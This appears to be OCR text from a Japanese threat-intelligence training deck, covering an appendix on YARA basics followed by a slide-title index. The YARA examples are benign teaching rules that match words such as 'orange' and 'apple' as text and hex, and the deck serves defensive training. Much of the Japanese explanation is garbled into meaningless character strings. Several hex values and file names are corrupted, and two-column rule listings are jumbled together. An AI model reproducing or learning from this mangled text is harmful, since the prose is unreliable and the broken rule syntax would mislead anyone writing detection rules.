BECREZ/EDZWESIE. Y1 &~ (https://virustotal.github.io/vara/) @DLatest

ReleaseKDDLLUTA > A h—=I)LZLTLZEL),

-yara

The pattern matching swiss knife for malware researchers (and everyone else)

{} YARA in a nutshell

YARA Is a tool aimed at (but not limited to) helping malware researchers to identify and classify malware
samples. With YARA you can create descriptions of malware families (or whatever you want to describe)
based on textual or binary patterns. Each description, a k.a rule, consists of a set of strings and a boolean
expression which determine its logic. Let's see an example:

rule silent_banker : banker
I
L
meta:
description = "This is just an example"”
threat_level = 3
in_the_wild = true

strings:

fa {6A 40 68 00 30 00 00 6A 14 8D 91}

= = u. ~{) 7 949

View project in

GitHub

Download
Latest release

Read the
Documentation

®,

Ask or help at

YARA's group

XK

Send
Bug Report
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Appendix E : YARADED

- ®WH2) YARAL—)L (001.yar) OHhBZEESHTHELL S,
— YARAJL—)UIZL., CERBICBIZEX ZHF>THED., LU ITUMEE(ICIRD TULEXT,

YARA(Gwr 3 "rule”d—TJ— RTIRED.
TNHERIF ERB

--------------------------------------------------------------------------

rule my_first_yara

---------------------------------------------------------------------------

--------------------------------------------------------
*

strings: Wl < ~FE B3R (“aa”) TH
Bl ©. 16¢E7FHEHIED ((AA}) THED.

Sa= ”orange”

JL—=ILIGEE. X5 (strings)
&M (condition) D2 DD - :
< 3 >_C¢§5Y.éﬂtb\5o DL *

---------------------------------------------------------

g A P ~ B Y - ok @
WA, J—ILXTEEIT B,

XAl F(EI =T THRCENFFICIRDET, Fle. KXFINXFDXFING D, £eFHEBBEFELUET.
% Z%& . Writing YARA Rules (https://yara.readthedocs.io/en/stable/writingrules.html)
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Appendix E : YARADE
« X5 (strings) DEEIMFEFERLFIELET,

F+2 NIFIIDH 16X FHIN DI I Rh— R

rule TextExample rule WildcardExample
{ {
strings: strings:
$text_string = “orange” $hex_string = { E2 34 ?? C8 A? FB }
condition: condition:
$text_string $hex_string
b b
rule WideCharTextExamplel rule JumpExample
{ {
strings: strings:
$wide_string = "Borland" wide $hex_string = { F4 23 [4-6] 62 B4 }
condition: condition:
$wide_string $hex_string | XEZEXFY .
k; ¥ F4 23010203 04 62 B4
XEZHFF - B¥X000¥x00r¥x001¥x00a¥x00n¥x00d¥x00 F4 23 00 00 00 00 00 62 B4

F4 231582 A304452262B4
X widelZEiFZESERIL. ascii & DHFECZIHER



Appendix E : YARADED

- JHWE3) 16EHFINIT. 001.yarBEULOSYOIDYARAZIERRUTHEUL LS,
— F9'(&. "orange” &"apple”"D16EMRRZRABLUET .

$ cat ./target/testO1.txt
—¢ cat ./target/test01.txt
orange

apple

peach

grape

$ xxd ./target/testO1.txt
00000000::6f72 616e 6765:0a61 7070 6¢65:0a70 6561 orange.apple.pea
00000010: 6368 0a67 7261 7065 Oa ch.grape.

— 00l.yarzE—UT. XFH=EEZHRIFT,
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Appendix E : YARADED

- EHE3) 16EHFIT, 001.yarRUOSY VDYARAZIEBRULTHEL &L S,
- ETMARRELUTOEDTY,

rule my_second_yara
{
strings:
$a = {6f 72 61 6e 67 65}
$b = {61 70 70 6¢C 65}
condition:
$a and $b

199



EOF



	スライド 0: Handling Threat Intelligence ～Techniques of Consuming and Creating Threat Intelligence～ ～ 公開版 ～
	スライド 1: 講演者紹介
	スライド 2: 演習資料やファイルの取り扱いについて
	スライド 3: 本日のゴール
	スライド 4: 諸注意・お願い
	スライド 5: 脅威インテリジェンスを読み解こう ～脅威インテリジェンスの活用・作成技法～  ～目次～
	スライド 6: ～理論編～ 第０１章：脅威インテリジェンスの基礎理論
	スライド 7: 1-0：はじめに
	スライド 8: 1-1 : 脅威インテリジェンスの定義
	スライド 9: 1-1 : 脅威インテリジェンスの定義
	スライド 10: 1-1 : 脅威インテリジェンスの定義
	スライド 11: 1-2 : 脅威インテリジェンスの目的・必要性
	スライド 12: 1-2 : 脅威インテリジェンスの目的・必要性
	スライド 13: 1-2 : 脅威インテリジェンスの目的・必要性
	スライド 14: 1-3 : 脅威インテリジェンスの分類
	スライド 15: 1-3 : 脅威インテリジェンスの分類
	スライド 16: 1-3 : 脅威インテリジェンスの分類
	スライド 17: 1-3 : 脅威インテリジェンスの分類
	スライド 18: 1-4 : 脅威インテリジェンスの活用
	スライド 19: 1-4 : 脅威インテリジェンスの活用
	スライド 20: ～実践編～ 第０２章：Tactical Intelligence
	スライド 21: 2-0 : はじめに
	スライド 22: 2-1 :  IOC活用による予防・検知・対応
	スライド 23: 2-1 :  IOC活用による予防・検知・対応
	スライド 24: 2-1 :  IOC活用による予防・検知・対応
	スライド 25: 2-1 :  IOC活用による予防・検知・対応
	スライド 26
	スライド 27: 2-1 :  IOC活用による予防・検知・対応
	スライド 28
	スライド 29
	スライド 30: 2-1 :  IOC活用による予防・検知・対応
	スライド 31
	スライド 32
	スライド 33: 2-1 :  IOC活用による予防・検知・対応
	スライド 34
	スライド 35
	スライド 36: 2-1 :  IOC活用による予防・検知・対応
	スライド 37
	スライド 38: 2-1 :  IOC活用による予防・検知・対応
	スライド 39: 2-1 :  IOC活用による予防・検知・対応
	スライド 40: 事例：Raspberry Robin
	スライド 41: 事例：Raspberry Robin
	スライド 42: 2-1 :  IOC活用による予防・検知・対応
	スライド 43
	スライド 44: 2-1 :  IOC活用による予防・検知・対応
	スライド 45: 2-1 :  IOC活用による予防・検知・対応
	スライド 46: 2-1 :  IOC活用による予防・検知・対応
	スライド 47: 2-1 :  IOC活用による予防・検知・対応
	スライド 48: 2-1 :  IOC活用による予防・検知・対応
	スライド 49: 2-1 :  IOC活用による予防・検知・対応
	スライド 50: Secure AnnexによるYARA
	スライド 51: 2-1 :  IOC活用による予防・検知・対応
	スライド 52: 2-1 :  IOC活用による予防・検知・対応
	スライド 53
	スライド 54: 演習１：IOCの抽出 + YARAを使った演習
	スライド 55: 演習の進め方
	スライド 56: ～実践編～ 第０３章：Operational Intelligence
	スライド 57: 3-0 : はじめに
	スライド 58
	スライド 59: 3-1：TTPs
	スライド 60: 3-1：TTPs
	スライド 61: 3-1：TTPs
	スライド 62: 3-1：TTPs
	スライド 63: 3-1：TTPs
	スライド 64: 3-1：TTPs
	スライド 65: 3-1：TTPs
	スライド 66: 3-1：TTPs
	スライド 67: 3-1：TTPs
	スライド 68: 3-1：TTPs
	スライド 69: 3-1：TTPs
	スライド 70
	スライド 71: 3-1：TTPs
	スライド 72
	スライド 73
	スライド 74
	スライド 75
	スライド 76
	スライド 77: 3-1：TTPs
	スライド 78
	スライド 79
	スライド 80
	スライド 81:  3-2：Defensive Architecture
	スライド 82:  3-2：Defensive Architecture
	スライド 83
	スライド 84:  3-2：Defensive Architecture
	スライド 85:  3-2：Defensive Architecture
	スライド 86
	スライド 87:  3-3：Threat Research
	スライド 88:  3-3：Threat Research
	スライド 89
	スライド 90
	スライド 91:  3-3：Threat Research
	スライド 92
	スライド 93
	スライド 94
	スライド 95:  3-3：Threat Research
	スライド 96
	スライド 97
	スライド 98
	スライド 99:  3-3：Threat Research
	スライド 100
	スライド 101:  3-3：Threat Research
	スライド 102
	スライド 103
	スライド 104
	スライド 105:  3-3：Threat Research
	スライド 106
	スライド 107
	スライド 108
	スライド 109
	スライド 110
	スライド 111
	スライド 112
	スライド 113
	スライド 114:  3-3：Threat Research
	スライド 115
	スライド 116:  3-4：Threat Hunting with Threat Intelligence
	スライド 117:  3-4：Threat Hunting with Threat Intelligence
	スライド 118:  3-4：Threat Hunting with Threat Intelligence
	スライド 119:  3-4：Threat Hunting with Threat Intelligence
	スライド 120:  3-4：Threat Hunting with Threat Intelligence
	スライド 121:  3-4：Threat Hunting with Threat Intelligence
	スライド 122:  3-4：Threat Hunting with Threat Intelligence
	スライド 123:  3-4：Threat Hunting with Threat Intelligence
	スライド 124
	スライド 125: CVE-2025-0282
	スライド 126
	スライド 127: 3-5：How to build Robust Detection Rule
	スライド 128: 3-5：How to build Robust Detection Rule
	スライド 129: 3-5：How to build Robust Detection Rule
	スライド 130
	スライド 131: 3-5：How to build Robust Detection Rule
	スライド 132
	スライド 133: 3-5：How to build Robust Detection Rule
	スライド 134: 3-5：How to build Robust Detection Rule
	スライド 135: 3-5：How to build Robust Detection Rule
	スライド 136: 3-5：How to build Robust Detection Rule
	スライド 137: 3-5：How to build Robust Detection Rule
	スライド 138: 3-5：How to build Robust Detection Rule
	スライド 139
	スライド 140: 3-5：How to build Robust Detection Rule
	スライド 141: 3-5：How to build Robust Detection Rule
	スライド 142: 3-5：How to build Robust Detection Rule
	スライド 143: 3-5：How to build Robust Detection Rule
	スライド 144: 3-5：How to build Robust Detection Rule
	スライド 145: 3-5：How to build Robust Detection Rule
	スライド 146: 3-5：How to build Robust Detection Rule
	スライド 147: 3-5：How to build Robust Detection Rule
	スライド 148: 演習２：脅威ハンティング演習
	スライド 149: 第０４章：まとめ
	スライド 150: 4-1：まとめ
	スライド 151: 4-1：まとめ
	スライド 152: 4-1：まとめ
	スライド 153: 4-2：脅威インテリジェンスの共有
	スライド 154: 4-2：脅威インテリジェンスの共有
	スライド 155: 4-2：脅威インテリジェンスの共有
	スライド 156
	スライド 157: 4-3：最後に
	スライド 158:  
	スライド 159: Appendix A : 参考文献
	スライド 160: Appendix A : 参考文献
	スライド 161: Appendix A : 参考文献
	スライド 162: Appendix B : EOCを活用した高度化
	スライド 163: Appendix B : EOCを活用した高度化
	スライド 164: Appendix B : EOCを活用した高度化
	スライド 165: Appendix C : VirusTotalの読み解き方
	スライド 166: Appendix C : VirusTotalの読み解き方
	スライド 167: Appendix C : VirusTotalの読み解き方
	スライド 168: Appendix C : VirusTotalの読み解き方
	スライド 169: Appendix C : VirusTotalの読み解き方
	スライド 170: Appendix C : VirusTotalの読み解き方
	スライド 171: Malware Behavior Catalog（MBC）
	スライド 172: Appendix C : VirusTotalの読み解き方
	スライド 173: Appendix C : VirusTotalの読み解き方
	スライド 174: Appendix D : Purple Teaming with Threat Intelligence
	スライド 175:  Appendix D：Purple Teaming with Threat Intelligence
	スライド 176:  Appendix D：Purple Teaming with Threat Intelligence
	スライド 177:  Appendix D：Purple Teaming with Threat Intelligence
	スライド 178:  Appendix D：Purple Teaming with Threat Intelligence
	スライド 179
	スライド 180:  Appendix D：Purple Teaming with Threat Intelligence
	スライド 181:  Appendix D：Purple Teaming with Threat Intelligence
	スライド 182
	スライド 183
	スライド 184:  Appendix D：Purple Teaming with Threat Intelligence
	スライド 185:  Appendix D：Purple Teaming with Threat Intelligence
	スライド 186
	スライド 187
	スライド 188
	スライド 189
	スライド 190:  Appendix D：Purple Teaming with Threat Intelligence
	スライド 191:  Appendix D：Purple Teaming with Threat Intelligence
	スライド 192:  Appendix D：Purple Teaming with Threat Intelligence
	スライド 193: Appendix E : YARAの基礎
	スライド 194:  Appendix E：YARAの基礎
	スライド 195:  Appendix E：YARAの基礎
	スライド 196:  Appendix E：YARAの基礎
	スライド 197:  Appendix E：YARAの基礎
	スライド 198:  Appendix E：YARAの基礎
	スライド 199:  Appendix E：YARAの基礎
	スライド 200:  

